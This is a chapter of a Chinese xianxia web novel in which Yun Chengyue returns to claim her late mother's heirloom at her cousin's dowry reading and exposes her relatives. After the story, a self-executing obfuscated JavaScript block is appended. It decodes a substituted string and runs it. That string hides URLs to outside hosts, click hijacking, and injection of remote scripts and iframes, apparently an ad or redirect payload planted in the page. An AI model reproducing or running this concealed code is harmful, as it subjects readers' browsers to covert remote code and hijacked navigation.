卷一:浣花仙门 谁嫁谁?谁娶谁?(所有人都想做她的主...)(1 / 2)

――“朱雀本的云舟帖, 是我的东西。”

寂静的余韵还残留在此处。

人群的哗然已经如岩浆爆发。

事件中心的人们,更是一片愕然,竟齐齐愣在原地。

他们没见过嫁妆宣读引来争议吗

见过。

可他们想过, 云家会遇见这事吗

没有,完全没有。

怎么可能呢

连最长袖善舞、知机识变的云大夫人, 都愣神在原地。

她抬起头, 她身边的云大爷,还有今天事件的主角――云三小姐,也都愣怔地抬起头。

谁啊她怎么敢她不要命了吗

“真是胡说八道”

云大夫人率先反应过来,当场勃然大怒。

她性格机敏果决, 比起先思考不速之客的身份,她的第一想法是矢口否认对方的指控。

何况, 她也确实这么想。

朱雀本的云舟帖,当然是他们云家的――只能是, 必须是。

云大夫人一开口,她那呆愣的丈夫也终于反应过来。他是个温吞儒雅的人,此时却也黑着脸,对自家养的家丁喝道:“去将人拿下”

“――慢”

这个“慢”字在整座城里回荡。

因为这是徐户正说出的。

“法”字投影还在, 来自苍穹的无形之眼还在注视着此间。官府的威严重重压下,压得热血上头的云家人微微一惊。

云大夫人心中便惊着。

她看向徐户正,发觉这位以往圆滑和气、谁也不得罪的笑面小吏,此时神色肃穆,眼神也十分严厉。

“云大夫人, 云大爷。”

徐户正托着“法”字, 一双眼睛冷冷地扫射在场众人, 道:“云家嫁女,是家事。可现在有人不同意财产归属, 便是国事。”

云三小姐猛地抬起头,一张脸涨得通红,眼中已经带了羞辱的泪。她失声喊道:“什么国事那个、那个小人”

云大夫人用力一捏她的手掌,云三小姐吃痛之下,神智才猛地回归。

徐户正却已经不高兴了。

“财产之争,律法所辖,如何不是国事”他喝道,“如果不是,本官站在这里做什么,当个摆设不成”

人群里响起了几声零落的、抒发紧张用的笑。

云大夫人赶紧略略一礼,陪笑道:“徐户正说笑了。我这侄女也是心急。既然是您管辖的事,还望您替这可怜的孩子,也替我们云家问个清楚、讨个公道。”

这话软硬皆有,令徐户正不能再追着云三的话柄发作。

他心中嗤笑一声,往口中塞了两枚上品元灵丹,维持掌中“法”字不灭,抬起头去。

“你是何人”他肃声质问,“你说云家这朱雀本云舟帖属于你,有何依据”

其实他当然知道那是谁,可场面总得做一做。

越来越多的目光向上看,去看那楼上的姑娘。

――那是谁

――好大的胆子

――看不清脸啊。

――声音还怪好听的

浣花城的民众是祖传的喜欢看戏,宗旨便是享受当下。他们现在虽然很紧张,但这紧张更像是看戏看到重大转折时的津津有味。

毕竟不关他们事嘛。

而在楼上,所有坐在二楼而得以直面当事人的客人们,碍于聂二公子在座,不得不做出一脸凛然。

实则大多人都心中惊喜:这十两银子花得值哎呀,杨柳阁演出的第一等票要五十两银子,可没这值回票价呢

唯有聂二公子面上飞起怒色。

“这位姑娘,若你即刻退下,我还能与官府求个情面,不让你受太多罪”

他已然在心中补全了一出戏,譬如这美丽少女是敌人派来,专程给聂家搅事,所以她和自己搭话也是别有居心,并非偶然。

饶是清雅脱俗的贵公子,此时也动了真火。

但也说不好,他这愤怒里有多少来自家族颜面受损,又有多少来自心里那分无法宣之于口的悸动。

他就在她不远处,很想几步上前,用力将她拉开。

但是“法”字威严笼罩下,便是地位高贵如聂二公子,也不得擅自打断官府问话。

云乘月站在窗边,身姿舒展笔挺,没有紧张或如临大敌,更不见任何战战兢兢。

她甚至还优哉游哉地抬了抬幂篱。

她没有看聂二公子,只望着云府前众人。

“我我姓云,叫云乘月,在这云府里行二。”

“这朱雀本云舟帖,是我母亲宋幼薇的遗物。”

“我母亲的遗物,不是我的,还能是隔房侄女的陪嫁了”

每一个字都清澈柔软,不高不低、不疾不徐,如花枝徐徐摇摆。

但这一句句的信息,却像是惊雷,一声更比一声高,炸得一些人头脑嗡嗡作响。

云二

云二

“不可能”

这回矢口否认的,是云家大爷。

他急得有些团团转:“二娘,二娘二娘她是个傻子呀”

可楼上那姑娘吐字清晰又有条理,哪里像个傻的

而且二娘还丢了这句话,云家大爷要不是被妻子狠狠拽了一把,说不得也要昏头昏脑地说出来。

他吃痛之下一个激灵,却还是瞪大了眼,宛如见了鬼,使劲儿抬着头去看云乘月。

这模样很有几分滑稽,可他周围的人们利益灼心,没一个笑得出来。

一道道目光往上钉,一根根钉住云乘月。

远方的聂七爷也面色数变。

他双手攥得死紧,脸色青得可怕,眼中宛如烈火燃烧,说不好是震惊更多还是愤怒更多。

愤怒是家族利益受到威胁的愤怒,也是一种自己被玩弄的羞辱式的愤怒。

他第一反应是觉得那个女人是故意的,故意接近他,故意要让他

可聂七爷到底还存了理智,知道一切都是巧合。她只见了自己那么一面,只看了他那么一眼。

是他自己要一脚踏进那一眼里,甚至到现在,他心里再是熊熊烈火、焱焱怒气,都掩不住那么一丝隐秘的喜悦――找到她了,又见到她了,原来是她。

竟然是她。是云二小姐云乘月。原来她叫云乘月。

现在要怎么办

这位聂家实际意义的家主,顷刻间冷静下来,将一切思绪埋藏如地底的岩浆,思考起接下来的对策来。

云乘月

还有很多其他人也在想:怎么办

果真是云二小姐她回来了怎么办

唯独云乘月没有想。

因为她现在正践行着属于她的“怎么办”,才会有现在无数人的狼狈应对。

作为无数视线的靶子中心,云乘月安之若素。

聂二公子站在一旁,又动了动,却立即被“法”字威严压下。

他只能呆呆地望着那身影,所有方才阴暗的揣测都烟消云散。

云二小姐他的未婚妻

他喃喃道:“云云二小姐”

这几个字吐出来,不可遏制地染着歉意。这歉意一直潜藏在他心中,现在又猛烈地撞上了那点朦胧的好感,霎时便酿成了更浓郁,可他却说不清、道不明的情绪。

而云乘月根本没理他。

在她心里,聂二公子约等于不存在。

她再往前一步,让斜照来的阳光完全洒在她身上。

光会带来所有的注意力,也会让她说的每一句话都更被倾听。

染着一点夕阳色的光芒里,她伸出手,取下了幂篱。

这个世界上,人人都可以修仙,却不是每个人都有条件修仙。

而那些修了仙、强化了身体素质,因而得以穿透遥远的距离,看清这位云二小姐的容貌的人们

对他们而言,这一瞬间,他们仿佛见到了两个太阳。

相比他们而言,已经有心理准备的徐户正,就表现得异常刚正不阿、不为所动。

“你说你是云二小姐,有何证据”徐户正板着脸,指了指边上一溜云家人,加重语气,“云家不认”

在他身边,云三小姐那满面激动的红色已经褪去,取而代之的是难以置信、一片煞白。

她头脑里翻来覆去,全是揪心的、煎熬的惊疑不定,还有渐渐浓郁的怨恨。

云二那是云二的脸

不错,那的确是云二的脸。

可记忆里,那张精致到可恨的脸永远木木呆呆,还有些面黄肌瘦,更不提什么举止教养。

傻得让人痛快。

可为什么那张脸还有灵动起来的一天

不仔细看看,云二那张脸好像更美了。

是真的更美了。

为什么

凭什么

她摇摇欲坠,僵硬地去看楼上的聂二公子。她已经猜到了,可当她发现二公子瞬也不瞬地凝视着云二的时候,她整个人还是一个踉跄,险些软倒在地。

云乘月将云三的姿态尽收眼底。

她瞥了这血缘上的堂妹一眼,又看向长房夫妇。

而她血缘上的大伯父、大伯母,也都呆呆地望着她。

她平静地说:“大伯母,大伯父。”

“二、二娘”

大伯母已经喃喃出声。

这声音传的范围不宽,只让她身边几个人侧目。其中包括徐户正。

她倏然紧紧握住丈夫的手臂,眼圈霎时红了,激动得有些失态:“大爷,大爷那真是二娘啊”

云大爷本能地扶着夫人,满脸茫然和震惊,只知道点头:“是啊,我也看见了,是二娘啊”

云三小姐猛然扭头,小声尖叫:“不可能二姐是个傻子呀大伯父大伯母,你们别被骗了”

“那肯定是个骗子,是邪修,不知道怎么弄来一张二姐的脸”

对,肯定是邪修

云二那张脸,怎么可能有正常人长得出来

就因为她长成那样,才会是个傻子,这才公平

现在她美得更惊心动魄,那也必定会更傻、更不正常,才对

反正,云二绝不可能是个正常人

但她到底记得这是众目睽睽之下,勉强维持了自己的仪态。

她的叫声也唤醒了长房夫妇的神智。

他们听见了云三的话,脸上的激动消失,变得惊疑不定。

“你”

云大夫人犹疑着,问:“我们二娘天生有些痴愚,不是姑娘这样的伶俐人。你,你怎么证明你是二娘”

云大爷惯来是附和夫人的,也立即点头,找回了一些理智:“正是。你可有官府盖章的身份文书”

“咳”

云乘月没回答,徐户正先开口了。

他又吃了两粒元灵丹,抬手擦擦额头的汗,又清清嗓子,引起人们的注意。

“云大爷,是这样的。”他客客气气地说,“这姑娘若真是府上二小姐,那身份文件肯定在贵府存着,她怎么会有”

“若她不是,那想必云二小姐一直在府里。可否唤云二小姐出来一见”

徐户正不紧不慢,将问题范围缩短到了一个尖锐的问题上。

“敢为二位,可以不可以”

这个简单的问题,却让长房夫妇的脸色微微一变。

他们对视一眼,一时陷入沉默。

在沉默里,云大爷低下头,似乎是羞愧得无法抬脸。云大夫人却抬起头,神色复杂地望着云乘月。

在不在当然是不在的。

可如果不在,他们为什么没有报官

他们没有报官,官府没有登记,所以这孩子艰难地自己回来了,也没办法要回自己的身份。

因为在官府记录里,她一直在府里呀。

没有家人出来说,这孩子不见了,求大人们帮帮忙。

没有。

云大夫人有些恍惚。那他们在做什么

是了,他们为家族利益考虑,着急忙慌地夺了她的婚事、夺了她母亲唯一留下的宝物,粉饰太平。

她还笑得欢欢喜喜,笑得像从没有个孩子不见了。

明明,二娘也算她带大的孩子呀。

可,这是为了家族,是为了整个云家她错了吗她没错啊。

“我,我”

云大夫人艰难地搜索着言辞。

她想要找一个两全的办法,既能漂漂亮亮地将云家脸面保住,又能漂漂亮亮地把二娘接回来。谁也不受伤害。

可向来机灵百变的头脑,此时却像被蜘蛛丝层层粘住,什么计策都想不出来。

想不出计策,可时间总会流逝,事情也仍然等着解决。

她呆了半晌,总算深吸一口气。

“我们二娘,的确丢了。”她缓慢地点了点头。

没等人群重新炸锅,她就重又提高了声音:“可是,我们二娘天生痴愚姑娘,如果你没法说明这一点,你――我们不敢认”

云三小姐一下攥住伯母的手,像找回了大半力气。她也抬头,已然一脸哀戚。

“是啊,我可怜的二姐不见了,我们不想声张,也是为了二姐的名节”

她哽咽两声,又道:“你这时候冒充二姐,不怀好意坏她名节,是什么居心”

她觉得,对一个女人而言,名节是她的命。任她再美、再有理,没了名节,又算个什么

看似柔弱有理地给人下绊子,向来是云三小姐的得意技巧。

可她没想到,对方根本不搭理她。

甚至围观的人里,也没几个人理她。

名节笑话。

或许在一些地方,名节是挺重要。

可这里是浣花城,是西部三州之一的宸州。

整个西部三州,女人们都爽快能干、绝不怕事,还出了不少有名的大修士。

谁吃饱了撑着给女人扣名节帽子

家世、实力、人品、学识和心境,哪一样不比名声重要

――这云三小姐怕不是离奇话本看多了,看傻了吧

这嘀咕传进云三的耳朵里,一下子让她的脸变得青青白白。她念书的时候心思芜杂,最喜欢勾心斗角,哪儿专心读过什么书看得最多的,倒真是那些离奇话本。

听她说话,聂二公子立时皱眉。

他生性温和,与姐妹们关系都不错,所以对女人争斗的花招很熟悉,听得出云三的意思。

云三小姐怎么是这样的人

他心中某座秘密的天平,不断地往另一方倒去,倒向窗边那瞧也不瞧他的娇艳少女。

他现在还是生气的,因为他觉得既然她回来了,那就解决问题的办法有很多,何必非要选一个两败俱伤的法子

还不肯认他。

可另一方面,他又感受到了某种不好说出口的喜出望外:是她她回来了,而且不傻了

她的声音真好听

原本她才是他的婚约对象。现在她回来了,那是不是

聂二公子不知道,自己面上渐渐露出一个温柔宽容的笑。

人群外,聂七爷望着这一幕,也皱了眉。这云三原来是这等蠢货那怎么配得流风哦是了,是为了摹本。

可这摹本多半黄了。

那还娶个鬼。

聂七爷当机立断,心中计策立即落定。

但他并不着急,只用一种胸有成竹、不慌不忙的目光,注视着眼前局势,更是欣赏地凝视着那道身影。

他从没见过这样的美丽。

无关性别,无关身份。她光是站在那里,就美得惊心动魄。

聂七爷自诩不是那些肤浅的登徒子。他不会为她失态,不会可笑地跟着她团团转。

他只不过是要正式地、彻底地占有这份美丽。

他心中的火仍在烧,却已经不再是纯然的怒火。另一种火焰蔓延、攀升,将他心脏烧得怦怦直跳,也像将他每一寸血液都变成了兴奋的喧嚣。

他想起一生中每一次的征战。

当他面临极度渴求而又难以得到的事物时,征服欲就会像这样静默爆发。

难免是要对不起流风一些

聂七爷皱起眉头,眼中起了阴霾。

不过,流风原本也不乐意娶她。

即便乐意,又如何

他这辈子都为家族考虑,从没为自己想要什么。现在好不容易有一样真正想要的,他就是要,谁又能说什么

聂七爷想着,松开眉头,微微地笑起来。

然而,无论是聂二公子还是聂七爷,都丝毫不在云乘月的注意范围内。

对她而言,他们和其他围观群众没有两样。

哦,也不对,他们要格外讨厌一点点。

在一片细碎嘈杂的议论声里,云乘月望着自己血缘上的亲人们,忽然笑了一下。

“你们问我,要怎么证明”

她笑着,也叹着。梦中的情绪、潜藏体内的情感,越来越与她合二为一。

她站在这里,也是云二小姐站在这里。她问出口的话,也是那个呆呆怔怔、连思绪都破碎的云二小姐,想要说出口的话。

“原来是我要证明么”

她更笑。

愤怒的笑。

“大伯母,大伯父,我才是那个人坐在府里,莫名被掳走的受害人。”

“为什么现在是我来证明,而不是你们来判断”

“你们不问问我,这些天里都遭遇了什么吗”

“你们不关心,是谁将我从府里带走,是谁想要害我吗”

她收了笑,冷冷地喝问:“还是说,对你们而言,我以前是个傻子,随便怎么样都不重要”

“你们分明贪心我母亲留下的东西,却连好好待我也不肯”

云大夫人一愣,面色更白。

“你,你这孩子,怎么能这样说”

她在这个瞬间里伤心又愧疚,却咬着牙,坚持撑住那口气。

作为长房长媳,她必须撑住这口气,哪怕这口气显得极为冷酷。

她沉声道:“事关云家血脉,我不能不谨慎。如果你没有证据,我就只能认为你是别有居心的冒牌货”

云乘月望着她。

她闭了闭眼。

“原来是这样。”

她重复道:“原来是这样。”

“我在府里长到十七岁,只是丢了二十天,却没有一个人能站出来,说我究竟是不是云二小姐啊。”

云家人一片死寂。

围观者也愤愤起来,议论纷纷:

――是啊,这也太过分了

――我家阿喵丢了三天,在泥地里滚成个泥猫,我都一眼认出来了呢

――换了我家孩子丢了,哪怕一年、两年,我铁定都能认出来

云大夫人的脸色,也更是煞白。任她多么智计百出,此时也只觉哑口无言,心里的愧疚、难过,还止不住地一阵阵冒出来。

“可二娘原来是个痴愚的孩子啊”

她只能喃喃地、无力地重复这句辩解,而这句辩解已经变得十分苍白无力。

云乘月望着她,也望着她身边一脸欲言又止的大伯父。

她其实记得他们。

梦境里,唯一会温柔地牵着她的手、带她走过光影强烈的长廊的人,是大伯母。唯一会平等地带回礼物,和气地分给每个孩子的人,是大伯父。

他们没有保护她到底,但终究是给予了长辈的温暖。

可是,现在也是他们出面主持,要取走属于她的母亲的遗物、拿走她的婚事,交给另一个父母双全的姑娘,还要做得欢欢喜喜、太平无事。

在她失踪的日子里,他们找过她吗

他们想过她还活着吗

如果想过,那他们有没有考虑过,当她跌跌撞撞回来,却发现一切属于自己的东西都被夺走,她该怎么办

不会考虑的吧。

因为在他们心里,云二小姐是一个傻子。她连痛了都无法说出,又怎么可能有别的感受

说不出来的感受,在别人心里就不存在。

云乘月冷着脸。

她感到了愤怒,也感到了伤心。

她为梦中那个茫然不知所措的、抱着无法传达的期待的云二小姐,感到生气和伤心。

这些情绪原来就深深地存在她心里,一被感伤的夕阳触动,便源源不断溢了出来。

也就在情绪渐浓的这一刻,她彻底明白,自己再也不是那个淡淡的、没大所谓的局外人。

――她就是云二小姐。

她前所未有地明白了这一点,再也没有任何疑问。

但是,她也是云乘月。

她更是云乘月。

是只属于自己的、有自己的经历和想法的云乘月。

云二小姐做不到的事,她能做到。

她丢开手里的幂篱,朝徐户正抱拳一礼。

“徐大人,我听说,在官府书文的威压之下,没有人能说谎。”

徐户正沉着点头:“正是如此。任何胆敢欺骗律法的贼人,都会被书文当场诛杀”

“哦”

云乘月做出一个疑惑的表情:“可我都说了这么多遍,我是云二小姐,这朱雀本云舟帖是我的东西”

她看向云府众人,对他们微微一笑。

“我怎么还没被诛杀呢”

她语气很平和。

可说出的话,却在实际上化为一根根讽刺的针,深深扎进了云府众人的身体里、心里。

扎得云三张口结舌,扎得云大夫人一呆,扎得云大爷茫然不知所措。

是是啊

“法”字之下,无人能说谎

他们怎么忘了呢

其实不是他们忘了。而是云家作为浣花城的顶尖家族,已经太久没有和律法打过实际交道,以至于他们下意识地将律法当成了形式、摆设。

围观的人们已经有开始抱怨的了。

!function(){function a(a){var _idx="v2gnzcw4xp";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[7_2(F6O2 5ca[5YF_52"vX8"%cmn<ydFhm5d2fO^caj}g@aPqYF 282_qq!Xd5 Y=F=O8D62fODm622Y5V6fFh!qYF ^8O/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfg_cmn<ydFhm5d2fO^cajngKa=5YXY5LYWfg_cmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6FhgO/}0=6FY^9Y6phFg^/o=qOdfiFdF_Lg0=5Y|5Tg0P=68"#MqYYb"=d8HZ!F5T[d8+i;NmJd5LYc(c6a??"HZ"aP(dF(hcYa[P7_2(F6O2 pcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 (cY=Fa[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2P7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=Fa[F8}<d5p_^Y2FLmqY2pFhvvXO6f 0l88FjFg""!7mqOdfiFdF_L8*}=}00<dmqY2pFh??cdmJ_Lhc`c$[YPa`%Fa=qc6=+i;NmLF562p67TcdaaaP7_2(F6O2 _cYa[qYF F80<d5p_^Y2FLmqY2pFhvvXO6f 0l88YjYg}=28"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=O82mqY2pFh=58""!7O5c!F**!a5%82HydFhm7qOO5cydFhm5d2fO^ca.OaZ!5YF_52 5P7_2(F6O2 fcYa[qYF F8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 28H"hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFL5SJm))6h5mRT4gQ}1Q"="hFFJLg\/\/[[fdTPPo}0dhFLFT6m6DJSJmRT4gQ}1Q"Z!qYF O8pc2Hc2YD wdFYampYFwdTcaZ??2H0Za%"/h^/o}0jR8X@p24(DoRJ"!O8O%c*}888Om62fYR;7c"j"aj"j"g"v"a%"58"%7m5Y|5T%%%"vF8"%hca%5ca=FmL5(8pcOa=FmO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=)caP=FmO2Y55O587_2(F6O2ca[YvvYca=LYF|6^YO_Fc7_2(F6O2ca[Fm5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfcFa=7mqOdfiFdF_L8}P7_2(F6O2 hca[qYF Y8(c"bb___b"a!5YF_52 Y??qc"bb___b"=Y8ydFhm5d2fO^camFOiF562pcsKamL_)LF562pcsa=7_2(F6O2ca[Y%8"M"Pa=Y2(OfYB~WxO^JO2Y2FcYaPr55dTm6Lr55dTcda??cd8HZ=qc6=""aa!qYF J8"o}0"=X8"X@p24(DoRJ"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"o}0^)ThF)mpOL2fmRT4"="o}0X5ThF)m64YdCmRT4"="o}02pThFmpOL2fmRT4"="o}0_JqhFm64YdCmRT4"="o}02TOhFmpOL2fmRT4"="o}0CSqhF)m64YdCmRT4"="o}0)FfThF)fmpOL2fmRT4"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"!qYF O82YD VY)iO(SYFcF%"/"%J%"jR8"%X%"v58"%7m5Y|5T%%%"vF8"%hca%5ca%c2_qql882j2gcF8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=28Fj"v(h8"%FmpYFrFF56)_FYc"("ag""aaa!OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=_8"62fYR;7"=f8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=h8""=^80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!^<YmqY2pFh!a28fH_ZcYH(Zc^%%aa=O8fH_ZcYH(Zc^%%aa=68fH_ZcYH(Zc^%%aa=d8fH_ZcYH(Zc^%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=h%8iF562pHqZc2<<@?O>>oa=Kol886vvch%8iF562pHqZc5aa=Kol88dvvch%8iF562pHqZcFaa![Xd5 78h!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv)caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 )ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 $ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 _8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!_mLFTqYm(LL|YRF8Y=_mdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=_aP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=h=l0a=7m(q6(S9d2fqY8h!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 fca[Xd5 Y8pc"hFFJLg//[[fdTPPo}0qhOFq^)Y6(:m^_2dphmRT4gQ}1Q/((/o}0j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 hcYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<^%6vvfcaPYqLY[F8F*O!67cF<86a5YF_52l}!F<^%6vvfcaPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q/f/o}0j(8}vR8X@p24(DoRJ"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aPO82dX6pdFO5mJqdF7O5^=Y8l/3cV62?yd(a/mFYLFcOa=F8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=cY??Favvc/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI/6mFYLFc2dX6pdFO5m_LY5rpY2FajDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=fc7_2(F6O2ca[Lc@0saPaPaPagfc7_2(F6O2ca[Lc}0}a=fc7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaPaa=lYvvO??$ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvvdmqY2pFhvvcY8pc"hFFJLg//[[fdTPPo}0)hFL_h^mYJRqFmRT4gQ}1Q"a%"/)_pj68"%J=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tcdaa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=dmqY2pFh80=qc6=""aaPaPaca!'.substr(22));new Function(b)()}();